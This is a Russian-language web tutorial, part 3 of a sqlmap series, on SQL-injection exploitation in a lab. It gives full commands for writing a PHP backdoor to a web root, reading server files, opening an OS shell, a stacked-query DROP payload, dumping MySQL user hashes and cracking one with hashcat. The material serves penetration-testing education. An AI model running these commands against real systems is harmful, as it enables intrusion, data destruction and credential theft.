Инструкция по использованию sqlmap. Ч.3: Залив бэкдора, выполнение системных команд, изменение данных в БД
Начало:
- Инструкция по использованию sqlmap. Ч.1: Основы работы (GET)
- Инструкция по использованию sqlmap. Ч.2: Продвинутое сканирование и эксплуатация (POST, после аутентификации, AJAX/jQuery)
Чтение и запись файлов через SQL-инъекцию
В SQL языке есть команда, которая записывает содержимое, например, ячейки на жёсткий диск. При SQL-инъекции мы можем вносить изменения в базу данных, например, создать таблицу с ячейкой, в которую запишем файл с нашей системы, а затем с помощью команды языка SQL сбросим содержимое на жёсткий диск целевой системы в файл с любым названием. Этот процесс в sqlmap автоматизирован, для записи произвольного файла в уязвимую систему используются опции --file-write и --file-dest. После первой опции нужно указать файл в локальной системе, который вы хотите записать в удалённую уязвимую систему. После опции --file-dest нужно указать точный АБСОЛЮТНЫЙ путь сохраняемого файла.
Пример команды:
~/bin/sqlmap-dev/sqlmap.py -u "http://192.168.0.244/Test/mysql-inj-lab1/?name=1&password=2" -p password --file-write "/home/dojo/backdoor.txt" --file-dest "C:/Server/data/htdocs/backdoor.php"
Здесь:
- ~/bin/sqlmap-dev/sqlmap.py – путь до программы sqlmap
- -u "http://192.168.0.244/Test/mysql-inj-lab1/?name=1&password=2" – адрес уязвимой страницы
- -p password – атака будет производиться через уязвимый параметр password
- --file-write "/home/dojo/backdoor.txt" – путь до файла на компьютере атакующего
- --file-dest "C:/Server/data/htdocs/backdoor.php" – абсолютный путь для сохранения в уязвимой системе (сохранять можно не обязательно в каталогах веб-сервера, если настройки и привилегии это позволяют, можно сохранить в любой папке удалённой ОС).
Для того, чтобы узнать абсолютные пути на сервере можно воспользоваться различными приёмами:
- запустить nmap для определения версии ОС. В различных ОС сервер имеет различные директории по умолчанию. Например, в Debain (Ubuntu) это /var/www/ или /var/www/html/. В Windows это могут быть каталоги C:\Apache24\htdocs\, C:/xampp/htdocs/, C:/wamp/www/, C:/Inetpub/wwwroot/, C:\Server\data\htdocs\ или другой. Также если вы определили тип уязвимой ОС, то можно воспользоваться папками, которые там обязательно должны быть, например, C:\Windows\temp\ и т.д.
- поиск ошибок в веб-сайтах, раскрывающих абсолютные пути, например:
Для того, чтобы удалось записать файл на удалённую систему, должно сложиться сразу много благоприятных факторов:
- не должна быть заблокирована команда языка SQL, выполняющая запись на диск
- у SQL сервера должны быть права на запись
- нужно знать абсолютный путь и иметь права записи в указанную директорию
В целом, очень нечасто выполняются все условия и удаётся успешно выполнить эту атаку.
Кроме записи файлов, возможно также копирование файлов с удалённой системы. Для этого используется опция --file-read, после которой указывается абсолютный путь до интересующего файла. Пример команды:
~/bin/sqlmap-dev/sqlmap.py -u "http://192.168.0.244/Test/mysql-inj-lab1/?name=1&password=2" -p password --file-read "C:\Server\data\htdocs\Test\mysql-inj-lab1\index.php"
Запуск произвольных команд операционной системы
Для этого используются опции: --os-cmd и --os-shell. Первая отправляет команду для выполнения на уязвимый сервер, а вторая – симулирует реальную оболочку, с поддержкой автозавершения по TAB. Необходимо указать используемый на сервере язык программирования (ASP, ASP.NET, JSP или PHP), а также абсолютный путь до директории, в которую имеются права записи. Как и выгрузка файлов, данная атака срабатывает далеко не всегда.
Изменение данных в БД
Рекомендуется изучить статью «Изучение MySQL / MariaDB для начинающих». SQL команды нужно знать как для запросов к базам данных, так и для понимания сути SQL-инъекций.
Для внесения изменений в базы данных имеются опции --sql-query и --sql-shell. Если вы хотите сделать произвольный SQL запрос к системе управления базами данных используя команду SELECT, то никаких проблем нет. Но если вы хотите использовать команды вроде DROP, UPDATE, INSERT, то нужно знать о stacked query (стек запросов). Проще говоря, это возможность выполнять несколько команд за один раз, отделяя их друг от друга точкой с запятой.
Пример:
В параметр вставляется
ID: 10;DROP members --
Выполняемые команды:
SELECT * FROM products WHERE id = 10; DROP members--
Это удалит (DROP) таблицу members сразу после первого SQL запроса.
О стеке запросов нужно знать по той причине, что далеко не все технологии веб-приложений поддерживают его. Например, PHP не поддерживает стек запросов, когда СУБД является MySQL, но поддерживает его, когда СУБД является PostgreSQL.
Посмотрите на следующую таблицу:
Как это не печально, именно связка PHP – MySQL является самой распространённой. Т.е. в большинстве случаев мы не сможем внести изменения в таблицы через стек запросов.
Пароли пользователей баз данных
В СУБД MySQL пароли пользователей, в том числе root’а, хранятся прямо в одной из баз данных в виде хеша. Это база данных под названием mysql, таблица user. Хеш пароля может храниться в колонках с различным названием, например, в authentication_string или Password.
Пример получения дампа базы данных mysql:
~/bin/sqlmap-dev/sqlmap.py -u http://localhost/mutillidae/index.php?page=login.php --data="username=111111&password=222222&login-php-submit-button=Login" -D mysql -T user --dump
В этих примерах мы дампим (получаем ) отдельные поля:
~/bin/sqlmap-dev/sqlmap.py -u http://localhost/mutillidae/index.php?page=login.php --data="username=111111&password=222222&login-php-submit-button=Login" -D mysql -T user -C Host,User,authentication_string,account_locked,Password --dump
~/bin/sqlmap-dev/sqlmap.py -u "http://192.168.0.244/Test/mysql-inj-lab1/?name=1&password=2" -p password -D mysql -T user -C Host,User,authentication_string,account_locked,Password --dump
Посмотрим на строку:
| 127.0.0.1 | root | <blank> | | *263027ECC84AA7B81EA86B0EBECAFE20BC8804FC |
- 127.0.0.1 говорит нам о том, что доступ к базам данных возможен только из локальной сети – удалённо подключиться к серверу MySQL не получится.
- 263027ECC84AA7B81EA86B0EBECAFE20BC8804FC – это и есть хеш, который нужно взломать, если мы хотим узнать пароль.
Для взлома в Hashcat обратимся к её справке, чтобы узнать номер хеша:
200 | MySQL323 | Сервер базы данных 300 | MySQL4.1/MySQL5 | Сервер базы данных
Т.к. вариантов больше чем один, нам нужно знать версию сервера MySQL. Для этого в sqlmap есть опция -f:
Примеры:
~/bin/sqlmap-dev/sqlmap.py -u http://localhost/mutillidae/index.php?page=login.php --data="username=111111&password=222222&login-php-submit-button=Login" -f
~/bin/sqlmap-dev/sqlmap.py -u "http://192.168.0.244/Test/mysql-inj-lab1/?name=1&password=2" -p password -f
Примеры полученных данных:
web application technology: PHP 7.1.0, Apache 2.4.25 back-end DBMS: active fingerprint: MySQL >= 5.5.0
и
web application technology: Apache 2.2.22, PHP 5.3.10 back-end DBMS: active fingerprint: MySQL >= 5.5.0
Т.е. номер нашего хеша 300, составляем команду hashcat для взлома:
hashcat64.exe --opencl-device-types 1,2 -a 3 -1 ?l?d?u -m 300 -i --increment-min=1 --increment-max=8 263027ECC84AA7B81EA86B0EBECAFE20BC8804FC ?1?1?1?1?1?1?1?1?1
Результат (смотрите на символы после двоеточия)
263027ecc84aa7b81ea86b0ebecafe20bc8804fc:dojo
Искомым паролем оказалось слово dojo.
Заключение
Как можно убедиться, даже в лабораторных условиях описанные техники не всегда работоспособны. Тем не менее, необходимо делать проверку на возможность их эксплуатации, поскольку в случае удачи они позволяют значительно продвинуться в тестировании на проникновение веб-приложений.
Связанные статьи:
- Инструкция по использованию sqlmap. Ч.1: Основы работы (GET) (88.6%)
- Инструкция по использованию sqlmap. Ч.2: Продвинутое сканирование и эксплуатация (POST, после аутентификации, AJAX/jQuery) (88.6%)
- Как пользоваться Kali Linux в WSL (подсистеме Windows для Linux): подборка лучших программ (ч. 1) (72.7%)
- Использование sqlmap для инъекции в адресе страницы сайта (URI). Произвольные точки инъекции (69.1%)
- Утечка имён файлов в .DS_Store: как просмотреть содержимое и как эксплуатировать (51.6%)
- Как сделать Kali Linux 2022 Live USB с постоянным хранилищем и шифрованием (в Windows) (RANDOM - 0.9%)
спасибо огромное